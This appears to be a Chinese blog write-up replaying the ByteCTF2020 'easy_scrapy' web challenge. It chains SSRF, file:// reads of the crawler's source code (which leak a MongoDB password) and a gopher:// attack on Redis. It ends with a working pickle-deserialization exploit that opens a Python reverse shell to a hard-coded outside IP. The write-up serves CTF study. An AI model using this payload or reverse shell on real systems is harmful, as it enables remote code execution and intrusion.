2020-11-05
1.3k
ByteCTF2020复现
这web题目出的简直就是神仙。。
easy_scrapy
首页是一个可以提交URL的输入框,验证码给出了md5加密后的前5位,可以直接写Python脚本爆破。添加数据的时候,在VPS监听端口:
从上图中可以看出使用的是scrapy+redis,应该是url数据会存储在Redis中,然后用scrapy爬虫爬取。
添加完数据后,在MyUrlList中会显示数据,点击记录,发现会访问http://101.200.50.18:30010/result?url=http://xx.xx.xxx.xx:8888/
,可能存在SSRF,监听端口:
后面/result?url
则是用了另一种功能进行pycurl的请求,类似于curl
,同样支持使用Gopher协议。
复现时候也用SSRF常见利用方式探测端口以及Redis的服务信息,但是没有什么收获。
转变一下思路,既然是爬虫,那么遇到<a>
标签,他就有可能去请求:
既然是这样,那么就可以把<a>
标签的href改成file协议造成任意文件读取:
OK,验证成功。那么这样的话,就可以读取题目的爬虫源码,但是在读之前,需要知道爬虫源码的绝对路径。可以通过读取/etc/self/environ
得到工作路径
显示当前PWD=/code
,但是我们还不知道项目结构,可以去官方文档 中找到这个爬虫框架的结构:
1 2 3 4 5 6 7 8 9 10 tutorial/ scrapy.cfg tutorial/ __init__.py items.py pipelines.py settings.py spiders/ __init__.py ...
这些文件分别是:
scrapy.cfg
: 项目的配置文件
tutorial/
: 该项目的python模块。之后您将在此加入代码。
tutorial/items.py
: 项目中的item文件.
tutorial/pipelines.py
: 项目中的pipelines文件.
tutorial/settings.py
: 项目的设置文件.
tutorial/spiders/
: 放置spider代码的目录.
首先去看项目配置文件:
1 2 3 4 5 6 7 8 9 10 11 # Automatically created by: scrapy startproject # # For more information about the [deploy] section see: # https://scrapyd.readthedocs.io/en/latest/deploy.html [settings] default = bytectf.settings [deploy] #url = http://localhost:6800/ project = bytectf
得知项目名是bytectf
,但是还需要知道bytectf
文件夹下的spiders
的爬虫文件名。
读取/proc/self/cmdline
,这个文件包含进程的完整命令行信息,我们可以根据他来得知正在运行的爬虫的文件名称。
1 /usr/local/bin/python /usr/local/bin/scrapy crawl byte
那么当前的爬虫名字是byte。
读取源码,得到结构如下:
通过piplelines.py和settings.py分别得到了MongoDB和Redis的配置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 //pipelines.py import pymongoclass BytectfPipeline : def __init__ (self ): MONGODB_HOST = '127.0.0.1' MONGODB_PORT = 27017 MONGODB_DBNAME = 'result' MONGODB_TABLE = 'result' MONGODB_USER = 'N0rth3' MONGODB_PASSWD = 'E7B70D0456DAD39E22735E0AC64A69AD' mongo_client = pymongo.MongoClient("%s:%d" % (MONGODB_HOST, MONGODB_PORT)) mongo_client[MONGODB_DBNAME].authenticate(MONGODB_USER, MONGODB_PASSWD, MONGODB_DBNAME) mongo_db = mongo_client[MONGODB_DBNAME] self.table = mongo_db[MONGODB_TABLE] def process_item (self, item, spider ): quote_info = dict(item) print(quote_info) self.table.insert(quote_info) return item
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 //settings.py BOT_NAME = 'bytectf' SPIDER_MODULES = ['bytectf.spiders' ] NEWSPIDER_MODULE = 'bytectf.spiders' RETRY_ENABLED = False ROBOTSTXT_OBEY = False DOWNLOAD_TIMEOUT = 8 USER_AGENT = 'scrapy_redis' SCHEDULER = "scrapy_redis.scheduler.Scheduler" DUPEFILTER_CLASS = "scrapy_redis.dupefilter.RFPDupeFilter" REDIS_HOST = '172.20.0.7' REDIS_PORT = 6379 ITEM_PIPELINES = { 'bytectf.pipelines.BytectfPipeline' : 300 , }
以及主要的爬虫逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import scrapyimport reimport base64from scrapy_redis.spiders import RedisSpiderfrom bytectf.items import BytectfItemclass ByteSpider (RedisSpider ): name = 'byte' def parse (self, response ): byte_item = BytectfItem() byte_item['byte_start' ] = response.request.url url_list = [] test = response.xpath('//a/@href' ).getall() for i in test: if i[0 ] == '/' : url = response.request.url + i else : url = i if re.search(r'://' ,url): r = scrapy.Request(url,callback=self.parse2,dont_filter=True ) r.meta['item' ] = byte_item yield r url_list.append(url) if (len(url_list)>3 ): break byte_item['byte_url' ] = response.request.url byte_item['byte_text' ] = base64.b64encode((response.text).encode('utf-8' )) yield byte_item def parse2 (self,response ): item = response.meta['item' ] item['byte_url' ] = response.request.url item['byte_text' ] = base64.b64encode((response.text).encode('utf-8' )) yield item
到这里,我用byc404 写好的docker-compose在本地起爬虫,跟线上的bot+redis+mongo环境基本一致。
https://blog.csdn.net/zwq912318834/article/details/78854571
Github上的环境缺一个文件,需要在easyscrapy/python/bytectf/spiders
加一个__init__.py
文件。不然scrapy会报没有spiders库。
三个containers启动了之后可以看到爬虫服务已经start了。Redis在本机也映射到了6379端口,进入Redis容器可以看到现在没有keys:
在本机上运行fill.py ,需要提前安装https://github.com/wuchengwei0122/redis-py.git
相当于向Redis循环200次添加start_urls:http//baidu.com
,这个时候就可以看到byte:requests
键存在序列化数据:
那么利用链就是想办法写入byte:requests
键,内容为序列化数据,而写入的方法就是pycurl的SSRF,利用Gopher协议打Redis。
贴一个官方的exp,用python3生成poc,反弹shell:
由于byte:requests
有序列表是zset,需要在Redis上执行ZADD命令。
1 2 3 4 5 6 7 8 9 10 11 12 13 import pickleimport osfrom urllib.parse import quoteclass exp (object ): def __reduce__ (self ): s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("119.45.184.10",7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'""" return (os.system, (s,)) test = str(pickle.dumps(exp())) poc = test.replace("\n" ,'\\n' ).replace("\"" ,"\\\"" )[2 :-1 ] poc ='gopher://172.20.0.7:6379/_' +quote('ZADD byte:requests 0 "' )+quote(poc)+quote('"' ) print(poc)
用GET打过去的时候需要二次URL编码。
参考文章:
https://northity.com/2020/10/30/ByteCTF初赛出题笔记/
http://blog.ccreater.top/2020/10/26/2020ByteCTF/
https://www.jianshu.com/p/0823666a7687
https://blog.csdn.net/zwq912318834/article/details/78854571